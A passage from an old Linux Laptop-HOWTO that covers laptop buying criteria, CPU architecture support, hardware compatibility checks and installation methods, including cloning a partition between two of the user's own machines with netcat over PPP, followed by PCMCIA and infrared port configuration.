Watches, digital pens, calculators, digital cameras, cellular phones and other wearables.

3.3 Linux Features

Due to a lack of support by some hardware manufacturers, not every feature of a laptop is always supported or fully operational. The main devices which may cause trouble are: graphic chip, IrDA port, sound card, PCMCIA controller , PnP devices and internal modem. Please try to get as much information about these topics before buying a laptop. But often it isn't quite easy to get the necessary information. Sometimes even the specifications or the hotline of the manufacturer aren't able to provide the information. Therefore I have included a Linux Compatibility Check chapter in the Hardware In Detail sections below.

Depending on your needs, you might investigate one of the vendors that provide laptops pre-loaded with Linux. By purchasing a pre-loaded Linux laptop, much of the guesswork and time spent downloading additional packages could be avoided. See Kenneth E. Harker's page for a list of vendors http://www.cs.utexas.edu/users/kharker/linux-laptop/.

3.4 Main Hardware Features

Besides its Linux features, there often are some main features which have to be considered when buying a laptop. For Linux features please see the Hardware In Detail section below.

Weight

Don't underestimate the weight of a laptop. This weight is mainly influenced by:

  1. screen size
  2. battery type
  3. internal components, such as CD drive, floppy drive
  4. power supply
  5. material used for the case, usually they are either from plastics or from magnesium.

Display

Laptops come with one of two types of displays: active matrix (TFT) and passive matrix (DSTN). Active matrix displays have better color and contrast, but usually cost more and use more power. Also consider the screen size. Laptops may be purchased with screens up to 15". A bigger screen weighs more, costs more, and is harder to carry, but is good for a portable desktop replacement.

Batteries

The available battery types are Lithium Ion (LiIon), Nickel Metal Hydride ( NiMH) and Nickel Cadmium (NiCd).

LiIon batteries are the most expensive ones but a lot lighter than NiCd for the same energy content, and have minimal -- but present -- memory effects. NiMH is better than NiCd, but still rather heavy and does suffer some (although less than NiCd) memory effects.

Unfortenately most laptops come with a proprietary battery size. So they are not interchangeable between different models.

CPU

Supported CPU Families

For details about systems which are supported by the Linux Kernel, see the Linux FAQ . See also Current ports of Linux OS

  1. i286: Linux doesn't support this CPU family yet. But there are some efforts at ELKS. If you like, you may use Minix one of the predecessors of Linux. Minix supports 8088 to 286 with as little as 640K memory. Actually there are some laptops with ELKS around, for instance the Commodore C286LT
  2. i386: This covers PCs based on Intel-compatible processors, including Intel's 386, 486, Pentium, Pentium Pro and Pentium II, and compatible processors by AMD, Cyrix and others. Most of the currently available laptops use Intel compatible CPUs and have quite good Linux support.
  3. m68k: This covers Amigas and Ataris having a Motorola 680x0 processor for x>=2; with MMU. And the early Apple/Macintosh computers.

    There was a long series of Apple PowerBooks and other laptops based on the m68k chip. Macintosh Portable (an ugly 16-pound first attempt); PowerBook 100, 140, 170, 145, 160, 180c, 165c, 520c, 540c, 550c, 190; Duo 210, 230, 250, 270c, 280. The PowerBook Duos were available at the same time as the PowerBooks, they were a sort of subnotebook, but were designed so that you could plug them into a base station (a DuoDock) with more RAM, peripherals, etcetera, so that they could also act as a desktop computer. The first PowerPC PowerBooks were the ill-starred PowerBook 5300 (after the 190) and the Duo 2300c.

    For a complete list of all Macintosh computers ever made, with specifications, see Apple-History.

    Note also that readers should *not* go to www.linuxppc.org for hardware compatibility with 68k laptops--as the name implies, LinuxPPC is only for PowerPC machines. The proper place to go for information on running Linux on m68k Macintoshes is: linux-m68k.

    In particular, their hardware compatibility list is at: linux-m68k-status and it states in regards to laptops:

    "Much like laptops of the Intel/Linux world, Mac laptops have generally different setups that can be very hard to figure out. Also, because of a general lack of machines to test, we are only aware of boots on the Powerbook 145, Powerbook 150, Powerbook 170, Powerbook 180, and Powerbook 190. Even if it boots, we currently have no support for Powerbook-style ADB, the APM support, or just about anything else on them. This means the only way to log in is with a terminal hooked up to the serial interface, this has been tested on the 170."

    "Several Powerbooks have internal IDE which is supported. PCMCIA drivers will be forthcoming if someone can supply the necessary hardware information to write a driver. As always, an FPU is needed also. Many of the later models have the 68LC040 processor without FPU, and many of these processors are broken with respect to the FPU trap mechanism so they can't run regular Linux binaries even with FPU emulation. Current status on Powerbooks 140, 160, 165, 165c, 180c, 190, 520 and Duos 210, 230, 250, 270c, 280, and 280c is unknown."

    Also there are two Atari laptops, for which I don't have enough information. The following quotations are from the Atari Gallery.

    "The STacy was released shortly after the Mega ST to provide a portable means of Atari computing. STacy computers were shipped with TOS v1.04.

    Designed to replace the STacy as the defacto portable ST computer, the ST Book brought the basic computing power of an ST to a lightweight notebook computer. This machine was only released in Europe and Atari only shipped a very small quantity. The ST Book was shipped with TOS v2.06."

    Is there an Amiga notebook?

  4. PowerPC (PPC): Although some driver support present in Intel based Linux is still missing for Linux PPC, it is a fully usable system for Macintosh PowerBooks. See LinuxPPC for a current list of supported machines.

    BTW: The team at iMac Linux has managed to get the iMac DV to boot Linux to a usable point. You may get information about the iBook there as well.

  5. Alpha, Sparc, Sparc64 architectures: These are currently under construction. AFAIK there are only the Tadpole SPARC and ALPHA laptops, and some other ALPHA laptops available. For a current survey look at Kenneth E. Harker's Linux on Laptops without x86 Family Processors at http://www.cs.utexas.edu/users/kharker/linux-laptop/non-intel.html .
  6. StrongARM: a very low-power CPU found in Rebel.com's popular NetWinder (some kind of mobile computer, too), and actively supported in the Debian project, it is also in several WinCE machines, such as HP's Jornadas. Only the lack of tech specs prevents Linux from being ported to these tiny, long-battery-life machines. A full-scale StrongARM-based laptop would make a superb Linux platform, but none exists yet.

    For PDAs with ARM/StrongARM CPU see the PDA chapter below.

  7. MIPS: Used in SGI mainframes and Cobalt Micro intranet appliances, chips based on this architecture are used in many Wince machines. Linux has been ported to a few of these, including the lovely little Vadem Clio. Vadem has been admirably cooperative.

    More about Linux on Wince boxes may be found at LinuxCE-FAQ.

Miscellaneous

At higher speed, a CPU consumes more power and generates more heat. Therefore, in many laptops a special low-power CMOS CPU is used. Usually, this special CPU doesn't use as much power as a similar processor used in a desktop. These special CPUs are also more expensive. As a side effect you may find that laptops with a desktop CPU often have a fan which seems quite loud.

Cooling

An enormously important issue. Anything based on PPC or Pentium will generate enormous amounts of heat which must be dissipated.Generally, this means either a fan, or a heat sink the size of the case.If it's a fan, the air path had better not ever get blocked, or it will overhead and burn out.This means machines with a fan mounted in the bottom are a big, big mistake: you can't use them on a soft surface.

Keyboard Quality

Though you might use your desktop computer to do longer writings, a good keyboard can save you some headaches and finger-aches. Look especially for the location of special keys like: <ESC>, <TAB>, <Pos1>, <End>, <PageDown>, <PageUp> and the cursor keys.

Price

Laptops are quite expensive if you compare them with desktops. So you may decide between a brand or no-name product. Though I would like to encourage you to take a no-name product, there are some caveats. I have experienced that laptops break often, so you are better off, when you have an after sales warranty, which is usually only offered with brand products. Or you may decide to take a second hand machine. When I tried this, I discovered that the laptop market is changing quite often. A new generation is released approximately every three months (compared by CPU speed, harddisk capacity, screen size etc.). So laptops become old very quick. But this scheme often isn't followed by the prices for second hand laptops. They seem too expensive to me. Anyway if you plan on purchasing a second hand machine, review my recommendations on checking the machine. For German readers there is an online market place at http://www.hardware.de, which offers a good survey about current prices for second hand machines.

Power Supply

If you travel abroad pay attention to the voltage levels which are supported by the power supply. Also the power supply is often one of the heavier parts of a laptop.

3.5 Sources of More Information

Specifications, manuals and manufacturer support often are not helpful. Therefore you should retrieve information from other sources too:

  1. Highly recommended is the survey by Kenneth E. Harker http://www.cs.utexas.edu/users/kharker/linux-laptop/ .
  2. ftp://tsx-11.mit.edu/pub/linux/packages/laptops/ .
  3. Hardware-HOWTO
  4. open hardware - The Open Hardware Certification Program http://www.debian.org/OpenHardware/
  5. HARDWARE.doa.org - dedicated to the hardware aspects of (Linux) computing http://hardware.doa.org/
  6. How to Build a PC FAQ - excellent hardware overview by Billy Newsom http://www.motherboards.org/build.html
  7. Last but not least the WWW itself.

3.6 Linux Compatibility Check

Related HOWTOs

  1. Hardware-HOWTO
  2. Kernel-HOWTO
  3. PCMCIA-HOWTO
  4. PCI-HOWTO
  5. Plug-and-Play-mini-HOWTO

Check Methods in General

If you can't find the necessary information through the above mentioned sources, you are on your own. Luckily, Linux provides many means to help. For details see the Hardware on Detail section below. In general you may use:

  1. First of all the kernel itself. Look up what kind of hardware is detected by the kernel. You get this information during boot time or usually by dmesg or by looking into /var/log/messages.
  2. If your kernel supports the /proc file system you may get detailed information about PCI devices by cat /proc/pci Please read the kernel documentation pci.txt. You may get further information about unknown PCI devices at the database from Craig Hart at http://members.hyperlink.net.au/~chart. From 2.1.82 kernels on you may use the lspci command from the pci-utils package.
  3. To retrieve information about Plug-and-Play (PNP) devices use isapnp-tools .
  4. Use scsi_info by David Hinds for SCSI devices or scsiinfo.

If you don't want to install a complete Linux you may retrieve this information by using a micro Linux ( see appendix A). The package muLinux provides even a small systest program and TomsRtBt comes with memtest. To use memtest you have to copy it on a floppy dd if=/usr/lib/memtest of=/dev/fd0 and to reboot from this floppy.

If your laptop came with Windows, you may determine a lot of hardware settings from the installation. Boot into DOS or Windows to get the information you need.

Using Windows9x/NT to get hardware settings, basically boot Windows, then Start -> Settings -> Control Panel -> System -> Device Manager and write down everything, or make a hardcopy from the display using the <PRINT> key, plus keep a log of settings, hardware, memory, etc.

Using MS-DOS and Windows3.1x you can use the command msd, which is an akronym for MicroSoft Diagnostics. Or you might try one of the numerous DOS shareware utilities: CHECK-IT, DR.HARD and others.

Sometimes it's difficult to know what manufacturer has built the machine or parts of it actually. The FCC "Federal Communications Commission On-line Equipment Authorization Database may be used, if you are having problems identifying the manufacturer of a laptop or notebook computer (or other electronic device,) this site lets you search the FCC database based on the FCC ID number you can usually find on the equipment if it was marketed in the United States of America."

The Lothar Project is a Mandrake-related project to provide a GUIed interface to get at hardware configuration information on Linux-based systems. It provides a library for different system informations, too.

Many laptops are no more compatible with Windows than Linux. David Hinds, author of the PCMCIA drivers, points out that Toshiba notebooks use a proprietary Toshiba PCMCIA bridge chip that exhibits the same bugs under Windows as under Linux. IBM Thinkpads have serious BIOS problems that affect delivery of events to the power management daemon apmd. These bugs also affect MS-Windows, and are listed in IBM's documentation as considerations.

Some incompatibilities are temporary, for instance laptops that have Intel's USB chip will probably get full USB support, eventually.

3.7 Writing a Device Driver

If you encounter a device which is not yet supported by Linux, don't forget it's also possible to write a driver by yourself. You may look at the book from Alessandro Rubini, Andy Oram: Linux Device Drivers.

3.8 Buying a Second Hand Laptop

Some recommendations to check an used laptop, before buying it:

  1. Review the surface of the case for visible damages.
  2. Check the display for pixel faults. Maybe it's useful to take a magnifying glass therefore.
  3. Do an IO stress-test, .e.g. with the tool bonnie.
  4. You may use memtest and crashme to achieve a memory test.
  5. Do a CPU stress test, e.g. with the tool Byte or by compiling a kernel.
  6. Check the floppy drive by formatting a floppy.
  7. Check the CD drive by reading a CD.
  8. To check the battery seems difficult, because it needs some time: one charge and one work cycle.
  9. To check the surface of the harddisk you may take e2fsck. There is also a Linux tool dosfsck or the other fsck tools.
  10. To test the entire disk (non-destructively), time it for performance, and determine its size, as root do: time dd if=/dev/hda of=/dev/null bs=1024k .
  11. Check wether the machine seems stolen. I have provided a survey of databases for stolen laptops.

AFAIK there is no Linux tool like the DOS tools CHECK-IT, DR. HARD, SYSDIAG and others. These tools include many of the tests in one integrated suite. One of the best IMHO is the tool PC Diagnostics 95 made by Craig Hart http://members.hyperlink.net.au/~chart . Despite the 95 in its name it's plain DOS, tiny (76KB programm and 199KB data) reliable and free. Unfortenately it contains no check for the IrDA port.

Please note this quotation from the disclaimer: "This program is written with the target audience being a trained, experienced technician. It is NOT designed to be used by those ignorant of computer servicing. Displays are not pretty but functional. Information is not explained since we are not trying to educate. This software should be considered to be just like any other tool in a tech's toolbox. It is to be applied with care, in the right situation, in order to find answers to specific problems. If you are an end user who is less than confident of dealing with computer hardware, this is probably not a program for you."

Laptop computers, unlike desktop machines, really do get used up. Lithium batteries are good for no more than 400 recharge cycles, sometimes much fewer. Keyboards wear out. LCD screen backlighting grows dim. Mouse buttons fail. Worst of all, connectors get loose as a result of vibration, causing intermittent failures (e.g. only when you hit the <Enter> key). We have heard of a machine used on the table in a train being shaken to unusability in one trip.

3.9 No Hardware Recommendations

It's difficult to give any recommendations for a certain laptop model in general. Your personal needs have to be taken into account. Also the market is changing very quickly. I guess every three months a new generation of laptops (according to harddisk space, CPU speed, display size, etc.) comes into the market. So I don't give any model or brand specific recommendations.


Linux Laptop-HOWTO: Laptop Distribution

 Next Previous Contents

4. Laptop Distribution

4.1 Requirements

From the Battery-HOWTO I got this recommendation (modified by WH):

A Message to Linux Distributors

If you happen to be a Linux distributor, thank you for reading all this. Laptops are becoming more and more popular, but still most Linux distributions are not very well prepared for portable computing. Please make this section of this document obsolete, and make a few changes in your distribution.

The installation routine should include a configuration, optimized for laptops. The minimal install is often not lean enough. There are a lot of things that a laptop user does not need on the road. Just a few examples. There is no need for three different versions of vi (as found in Suse Linux). Most portable systems do not need printing support (they will never be connected to a printer, printing is usually done with the desktop system at home). Quite a few laptops do not need any network support at all.

Don't forget to describe laptop-specific installation problems, e. g. how to install your distribution without a cd-rom drive or how to setup the plip network driver.

Add better power management and seamless PCMCIA support to your distribution. Add a recompiled kernel and an alternative set of PCMCIA drivers with apm support that the user can install on demand. Include a precompiled apmd package with your distribution.

Add support for dynamically switching network configurations. Most Linux laptops travel between locations with different network settings (e. g. the network at home, the network at the office and the network at the university) and have to change the network ID very often. Changing a Linux system's network ID is a pain with most distributions.

Add a convenient PPP dialer with an address book, that does not try to start multiple copies of the PPP daemon if you click on the button twice (e.g., the RedHat usernet tool). It would be nice to have the PPP dialer also display the connection speed and some statistics. One nice command line dialer that autodetects modems and PPP services is wvdial from Worldvisions http://www.worldvisions.ca/wvdial/.

4.2 Recommendation

The Debian/GNU Linux has most of the desired features for a laptop installation. The distribution has a quite flexible installation tool. The installation process is well documented, especially concerning the methods which are useful at laptops. All the binaries are tiny, because they are stripped. A mailing list debian-laptop including a searchable archiv is provided. And Debian/GNU Linux is free.

At the end of August 1999 the Debian Laptop Distribution - Proposal was issued. And some more laptop related packages and a Debian meta-package dedicated to laptops are on the way.

Note: I know other Linux distributions work well with laptops, too. I even tried some of them, see my pages about certain laptops mentioned above.


Linux Laptop-HOWTO: Installation

 Next Previous Contents

5. Installation

5.1 Related HOWTOs

  1. CDROM-HOWTO
  2. Config-HOWTO
  3. Diskless-mini-HOWTO
  4. Installation-HOWTO
  5. Pre-Installation-Checklist-mini-HOWTO
  6. Update-mini-HOWTO
  7. Hard-Disk-Upgrade-mini-HOWTO
  8. Installation and getting started by Matt Welsh and others available at the LINUX DOCUMENTATION PROJECT http://metalab.unc.edu/LDP
  9. Installing Debian Linux 2.1 For x86 by Bruce Perens, Sven Rudolph, Igor Grobman, James Treacy, Adam P. Harris ftp://ftp.debian.org/debian/dists/slink/main/disks-i386/current/install.html
  10. Install-From-Zip-mini-HOWTO
  11. ZIP-Drive-mini-HOWTO

5.2 Prerequisites - Partitioning

Partitioning can be done in a very sophisticated way. Currently I have only some first thoughts. I assume that with laptops there are still some reasons (e.g. updating the firmware of PCMCIA cards and BIOS) to share Linux and Windows9x/NT. Depending on your needs and the features of your laptop you could create the following partitions:

  • BIOS, some current BIOSes use a separate partition
  • suspend to disk, some laptops support this feature
  • swap space Linux
  • swap space Windows9x/NT
  • Linux base
  • Linux /home or data
  • common data between Linux and Windows9x/NT

Note this chapter isn't ready yet. Please read the according HOWTOs first.

5.3 Linux Tools to Repartition a Hard Disk

GNU parted

GNU parted allows you to create, destroy, resize and copy partitions. It currently supports ext2 and fat (fat16 and fat32) filesystems, and MS-DOS disklabels. This program can destroy data, and is not yet safe for general use. parted is currently in its early developement stage.

ext2resize

ext2resize is a program capable of resizing (shrinking and growing) ext2 filesystems. Checks whether the new size the user gave is feasible (i.e. whether the fs isn't too occupied to shrink it), connected to the parted project.

fixdisktable

Something was recently published on the <linux-kernel@vger.kernel.org> mailing list about a partition recovery program. I have not used this, nor examined it, nor read much about it (except for the HTML page.) It may be useful to some of you if you have problems with FIPS, Ranish Partition Manager/Utility or Partition Magic destroying your partition information. You can find information on this partition-fixer named "fixdisktable" at http://bmrc.berkeley.edu/people/chaffee/fat32.html . It is quite a ways down in that page. Or look for it via ftp in ftp://bmrc.berkeley.edu/pub/linux/rescue/ and locate the latest "fixdisktable" in that ftp directory. (Source and binary dist should be available.)

Caveats

Before repartitioning your harddisk take care about the disk layout. Especially look for hidden disk space or certain partitions used for suspend to disk or hibernation mode. Some laptops come with a partition which contains some BIOS programs (e.g. COMPAQ Armada 1592DT). Search the manual carefully for tools like PHDISK.EXE, Suspend to Disk, Diagnostic TOOLS.

Please see chapter DOS Tools to Repartition a Hard Disk, too.

By Nathan Myers from LL - LinuxLaptops: "I partitioned a 10G Thinkpad drive last week and then none of fdisk, cfdisk, or sfdisk would read the partition table any more. It turns out I had created a partition that started on cylinder 1024, and there's a bug common to all three programs that makes them fail in that case. (I didn't try Disk Druid.) So, maybe you should add some advice about not starting partitions on that cylinder."

Multi Boot

Please see the Different Environments chapter, for information about booting different operating systems from the same harddisk.

5.4 Installation Methods

From the Battery-HOWTO:"Installing and using Linux on a laptop is usually no problem at all, so go ahead and give it a try. Unlike some other operating systems, Linux still supports and runs well on even very old hardware, so you might give your outdated portable a new purpose in life by installing Linux on it."

One of the great benefits of Linux are its numerous and flexible installation features, which I don't want to describe in detail. Instead I try to focus on laptop specific methods, which are necessary only in certain circumstances.

Most current distributions support installation methods which are useful for laptops, including installation from CD-ROM, via PCMCIA and NFS (or maybe SMB). Please see the documents which are provided with these distributions for further details or take a look at the above mentioned manuals and HOWTOs.

5.5 From a Boot Floppy plus CD-ROM - The Usual Way

With modern laptops, the usual Linux installation (one Boot Floppy, one Support Floppy, one Packages CD-ROM) should be no problem, if there is are floppy drive and a CD-ROM drive available. Though with certain laptops you might get trouble if you can not simultaneously use the floppy drive and CD-ROM drive , or if the floppy drive is only available as a PCMCIA device, as with the Toshiba Libretto 100. Some laptops support also booting and therefore installation completely from a CD drive, as reported for the SONY VAIO in the VAIO-HOWTO. Note: Check the BIOS for the CD boot option and make sure your Linux distribution comes on a bootable CD.

Certain laptops will only boot zImage kernels. bzImage kernels won't work. This is a known problem with the IBM Thinkpad 600 and Toshiba Tecra series, for instance. Some distributions provide certain boot floppies for these machines or for machines with limited memory resources, Debian/GNU Linux http://www.debian.org for instance.

5.6 From a DOS or Windows Partition at the Same Machine

This is a short description of how to install from a CD-ROM under DOS without using boot or supplemental floppy diskettes. This is especially useful for notebooks with swappable floppy and CD-ROM components (if both are mutually exclusive) or if they are only available as PCMCIA devices. I have taken this method from "Installing Debian GNU/Linux 2.1 For Intel x86 - Chapter 5 Methods for Installing Debian" http://www.debian.org :

  1. Get the following files from your nearest Debian FTP mirror and put them into a directory on your DOS partition: resc1440.bin drv1440.bin base2_1.tgz root.bin linux install.bat and loadlin.exe.
  2. Boot into DOS (not Windows) without any drivers being loaded. To do this, you have to press <F8> at exactly the right moment.
  3. Execute install.bat from that directory in DOS.
  4. Reboot the system and install the rest of the distribution, you may now use all the advanced features such as PCMCIA, PPP and others.

This should work for other distributions with similar changes. For RedHat see How to Install from CD-ROM without Boot and Supplemental Disks .

Some new laptops may be able to boot a Linux distribution on a bootable CD-ROM (e.g., RedHat). This would allow installation without a floppy disk drive.

5.7 From a Second Machine With a Micro Linux On a Floppy

Introduction

Because of their small or non-existent footprint, micro-Linuxes are especially suited to run on laptops, particularly if you use a company-provided laptop running Windows9x/NT. Or for installation purposes using another non Linux machine. There are several micro Linux distributions out there that boot from one or two floppies and run off a ramdisk. See appendix A for a listing of distributions.

I tried the following with muLinux http://mulinux.firenze.linux.it/ to clone my HP OmniBook 800 to a COMPAQ Armada 1592DT. Thanks to Michele Andreoli, maintainer of muLinux for his support. Since muLinux doesn't support PCMCIA yet, you may use TomsRtBt instead. In turn TomsRtBt doesn't support PPP but provides slip. Note: Since version 7.0 muLinux provides an Add-On with PCMCIA support.

I have described how to copy an already existing partition, but it might be also possible to achieve a customized installation. Note: Usually you would try to achieve an installation via NFS, which is supported by many distributions. Or if your sources are not at a Linux machine you might try the SMB protocol with SAMBA, which is also supported by muLinux .

Prerequisites

You need two machines equipped with Linux. With the laptop (client/destination) on which you want to install Linux use the muLinux floppy. The other machine (server/source) may be a usual Linux box or also using muLinux. Though its low transfer rate I use a serial null modem cable because its cheap. You may apply the according method using a PCMCIA network card and a crossover network cable or a HUB, or a parallel "null modem" cable and PLIP. As the basic protocol I used PPP, but you may also use SLIP. For the data-transfer I used nc. Note: this is an abbrevation for netcat, some distributions use this as the program name. You may use ftp, tftp, rsh, ssh, dd, rcp, kermit, NFS, SMB and other programs instead.

Basic requirements are:

  1. A good knowledge about using Linux. You have to know exactly what you are doing, if not you might end destroying former installations.
  2. A nullmodem serial cable.

Source Machine

At your source machine issue the following commands (attention: IP address, port number, partition and tty are just examples!):

  1. Edit /etc/ppp/options, it should contain only:
    /dev/ttyS0
115200
passive
  2. With muLinux versions 3.x you may even use the convenient command setup -f ppp .
  3. Start PPP: pppd .
  4. Configure the PPP network device: ifconfig ppp0 192.168.0.1 .
  5. Add the default route: route add default gw 192.168.0.1 .
  6. Check the network connection: ping 192.168.0.2, though the destination machine isn't up yet.
  7. Start the transfer from another console, remember <LEFT-ALT><Fx>: cat /dev/hda2 | gzip -c | nc -l -p 5555 .
  8. After the transfer (there are no more harddisk writings) stop the ping: killall ping .

Destination Machine

At the destination machine issue:

  1. Edit /etc/ppp/options, it should contain only:
    /dev/ttyS0
115200
passive
  2. With muLinux versions >= 3.x you may even use the convenient command setup -f ppp .
  3. Start PPP: pppd .
  4. Configure the PPP network device: ifconfig ppp0 192.168.0.2 .
  5. Add the default route: route add default gw 192.168.0.2 .
  6. Check the network connection, by pinging to the source machine: ping 192.168.0.1 .
  7. Change to another console and get the data from the server: nc 192.168.0.1 5555 | gzip -dc >/dev/hda4 .
  8. 400 MB may take app. 6 hours, but YMMV.
  9. Stop the transfer, when it is finished with: <CTL><C> . This can probably be avoided (but I didn't test it) by adding a timeout of 3 seconds using the -w 3 parameter for nc at the destination machine nc -w 3 192.168.0.1 5555 | gzip -dc >/dev/hda4
  10. After the transfer is completed, stop the ping: killall ping .

Configuration of the Destination Machine after the Transfer

  1. Edit /etc/fstab .
  2. Edit /etc/lilo.conf and /etc/lilo.msg and start lilo .
  3. Set the new root device to the kernel: rdev image root_device .

Miscellaneous

  1. You may use bzip2 the same way as gzip (untested).
  2. Since rshd, sshd, ftpd daemons are not available with muLinux you have to build your own daemon with nc aka netcat, as described above.
  3. I had to set up both PPP sides very quick or the connection broke, I don't know why.
  4. Speed optimization has to be done, asyncmap 0 or local?
  5. I checked this only with a destination partition greater than the source partition. Please check dd instead of cat therefore.

    Or do the following (untested): At the destination machine cd into the root directory / and do nc -l -p 5555 | bzip2 -dc | tar xvf -. At the source machine machine cd into the root directory / and do tar cvf - . | bzip2 | nc -w 3 192.168.0.2 5555. This should shorten the time needed for the operation, too. Because only the allocated blocks need to be transfered.

  6. Don't mount the destination partition.

5.8 From a Second Machine With a 2.5" Hard Disk Adapter

From Adam Sulmicki adam@cfar.unc.edu I got this hint: Most but not all harddisks in laptops are removable, but this might be not an easy task. You could just buy one of those cheap 2.5" IDE converters/adapters which allow you to connect this harddisk temporarily to a PC with IDE subsystem, and install Linux as usual using that PC. You may do so using the harddisk as the first IDE drive or besides as the second IDE drive. But than you need to be sure that lilo writes to the right partition. Also you have to make sure that you use the same translation style as your laptop is going to use (i.e. LBA vs. LARGE vs. CHS ). You find additional information in the Hard-Disk-Upgrade-mini-HOWTO. You might copy an existing partition, but it is also possible to achieve a customized installation.

5.9 From a PCMCIA Device

Since I don't have a laptop which comes with a PCMCIA floppy drive (for instance Toshiba Libretto 100), I couldn't check this method. Please see the chapter Booting from a PCMCIA Device in the PCMCIA-HOWTO. Also I couldn't check whether booting from a PCMCIA harddisk is possible.

Anyway, when you are able to boot from a floppy and the laptop provides a PCMCIA slot, it should be possible to use different PCMCIA cards to connect to another machine, to an external SCSI device, different external CD and ZIP drives and others. Usually these methods are described in the documentation which is provided with the distribution.

5.10 From a Parallel Port Device (ZIP Drive, CD Drive)

I couldn't check this method by myself, because I don't have such a device. Please check the according Install-From-Zip-mini-HOWTO and CD-HOWTO. Also I don't know how much these installation methods are supported by the Linux distributions or the micro Linuxes. I suppose you have to fiddle around a bit to get this working.

5.11 From a Second Machine Using the Parallel Port - PLIP Network Install

I got this courtesy by Nathan Myers <ncm@cantrip.org>: "Many distributions support installing via a network, using FTP, HTTP, or NFS. It is increasingly common for laptops to have only a single PCMCIA slot, already occupied by the boot floppy drive. Usually the boot floppy image has drivers for neither the floppy drive itself, nor the PCMCIA subsystem. Thus, the only network interface available may be the parallel port.

Installation via the parallel port using the PLIP protocol has been demonstrated on, at least, Red Hat. All you need is a Laplink parallel cable, cheap at any computer store. See the PLIP-mini-HOWTO for details on setting up the connection. Note that (uniquely) the RedHat installation requires that the other end of the PLIP connection be configured to use ARP (apparently because RedHat uses the DOS driver in their installer). On the host, either export your CD file system on NFS, or mount it where the ftp or web daemon can find it, as needed for the installation."

The PLIP Install HOWTO by Gilles Lamiral describes how to install the Debian GNU-Linux distribution on a computer without ethernet card, nor cdrom, but just a local floppy drive and a remote nfs server attached by a Null-Modem parallel cable. The nfs server has a cdrom drive mounted and exported.

5.12 Installing Linux on Small Machines

If you have less than 8MB memory and want to install via NFS you may get the message "fork: out of memory". To handle this problem, use fdisk to make a swap partition (fdisk should be on the install floppy or take one of the mini Linuxes described above). Then try to boot from the install floppy again. Before configuring the NFS connection change to another console (for instance by pressing <ALT><2>) and issue swapon /dev/xxx (xxx = swap partition ). Thanks to Thomas Schmaltz.


Linux Laptop-HOWTO: Hardware In Detail

 Next Previous Contents

6. Hardware In Detail

6.1 PCMCIA Controller

Linux Compatibility Check

With the probe command, which is included in the PCMCIA-CS package by David Hinds you can get the type of the PCMCIA controller. Often this shows also up with cat /proc/pci .

Related HOWTOs

  1. PCMCIA-HOWTO

PCMCIA Configuration - Survey

In the mailing lists where I'm a member, the question "How can I set up PCMCIA support, after the Linux installation?" comes up sometimes. Therefore I try to give a short survey. But the authoritative source for the latest information about the PCMCIA Card Services for Linux, including documentation, files, and generic PCMCIA information is the Linux PCMCIA Information Page . For problems with PCMCIA and APM see the APM chapter.

Software

  1. Read the PCMCIA HOWTO, usually included in the PCMCIA-CS package.
  2. Install the newest available PCMCIA-CS package, if you take a rpm or deb package it is quite easy.
  3. If necessary, install a new kernel. Note: With 2.2.x kernels PCMCIA kernel support seems no longer necessary. I had no time to look this up yet. Please read the according documents.
  4. Make sure your kernel has module support and PCMCIA support enabled (and often APM support)
  5. Make sure your kernel also includes support for the cards you want to use, e.g. network support for a NIC card, serial support for a modem card, SCSI support for a SCSI card and so on.
  6. If you have a custom made kernel, don't forget to compile the PCMCIA-CS source against your kernel.

PCMCIA Controller

  1. Use the probe command to get information whether your PCMCIA controller is detected or not.
  2. Edit the file /etc/sysconfig/pcmcia. It should include PCMCIA=y and the type of your PCMCIA controller, e.g. PCIC=i82365.
  3. Start the PCMCIA services typically via /etc/init.d/pcmcia start. If you get two high beeps, everything should be fine.
  4. If something doesn't work, check the messages in /var/log/messages .

PCMCIA Card

  1. Check your card with cardctl ident .
  2. If your card is not in /etc/pcmcia/config, edit the file /etc/pcmcia/config.opts accordingly. Take an entry in the first file as a model. You may try every driver, just in case it might work, for instance the pcnet_cs supports many NE2000 compatible PCMCIA network cards.
  3. A list of supported cards is included in the PCMCIA-CS package. The current list you may find at SUPPORTED.CARDS.

    Since there are not all cards mentioned I have set up a page PCMCIA Cards "Unofficially" Supported by Linux .

  4. If you use X, you can use cardinfo to insert, suspend, or restart a PCMCIA card via a nice graphical interface.

6.2 Infrared Port

Linux Compatibility Check

To get the IrDA port of your laptop working with Linux/IrDA you may use StandardInfraRed (SIR) or FastInfraRed (FIR).

SIR

Up to 115.200bps, the infrared port emulates a serial port like the 16550A UART. This will be detected by the kernel serial driver at boot time, or when you load the serial module. If infrared support is enabled in the BIOS, for most laptops you will get a kernel message like:

Serial driver version 4.25 with no serial options enabled
ttyS00 at 0x03f8 (irq = 4) is a 16550A     #first serial port /dev/ttyS0
ttyS01 at 0x3000 (irq = 10) is a 16550A    #e.g. infrared port
ttyS02 at 0x0300 (irq = 3) is a 16550A     #e.g. PCMCIA modem port

FIR

If you want to use up to 4Mbps, your machine has to be equipped with a certain FIR chip. You need a certain Linux/IrDA driver to support this chip. Therefore you need exact information about the FIR chip. You may get this information in one of the following ways:

  1. Read the specification of the machine, though it is very rare that you will find enough and reliable information there.
  2. Try to find out wether the FIR chip is a PCI device. Do a cat /proc/pci . The according files for 2.2.x kernels are in /proc/bus/pci . Though often the PCI information is incomplete. You may find the latest information about PCI devices and vendor numbers in the kernel documentation usually in /usr/src/linux/Documentation or at the page of Craig Hart http://members.hyperlink.net.au/~chart . From kernel 2.1.82 on, you may use lspci from the pci-utils package, too.
  3. Use the DOS tool CTPCI330.EXE provided in ZIP format by the German computer magazine CT http://www.heise.de/ct/ftp/pci.shtml . The information provided by this program is sometimes better than that provided by the Linux tools.
  4. Try to get information about Plug-and-Play (PnP) devices. Though I didn't use them for this purpose yet, the isapnp tools, could be useful.
  5. If you have installed the Linux/IrDA software load the FIR modules and watch the output of dmesg, whether FIR is detected or not.
  6. Another way how to figure it out explained by Thomas Davis (modified by WH): "Dig through the FTP site of the vendor, find the Windows9x FIR drivers, and they have (for a SMC chip):
    -rw-rw-r--   1 ratbert  ratbert       743 Apr  3  1997 smcirlap.inf
-rw-rw-r--   1 ratbert  ratbert     17021 Mar 24  1997 smcirlap.vxd
-rw-rw-r--   1 ratbert  ratbert      1903 Jul 18  1997 smcser.inf
-rw-rw-r--   1 ratbert  ratbert     31350 Jun  7  1997 smcser.vxd
    If in doubt, always look for the .inf/.vxd drivers for Windows95. Windows95 doesn't ship with _ANY_ FIR drivers. (they are all third party, mostly from Counterpoint, who was assimilated by ESI)."
